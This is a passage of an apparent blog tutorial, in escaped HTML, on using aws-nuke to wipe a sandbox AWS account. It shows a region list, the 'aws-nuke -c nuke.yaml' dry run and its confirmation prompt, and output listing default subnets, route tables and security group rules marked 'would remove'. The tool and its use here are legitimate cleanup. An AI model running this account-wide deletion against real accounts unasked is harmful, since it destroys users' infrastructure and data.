#F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI personally don't recommend targetting all AWS regions at the same time.  It\nwill generate a lot of output and be slow.  You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example it, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws-nuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereally\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e777777777777\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2RouteTable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ertb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 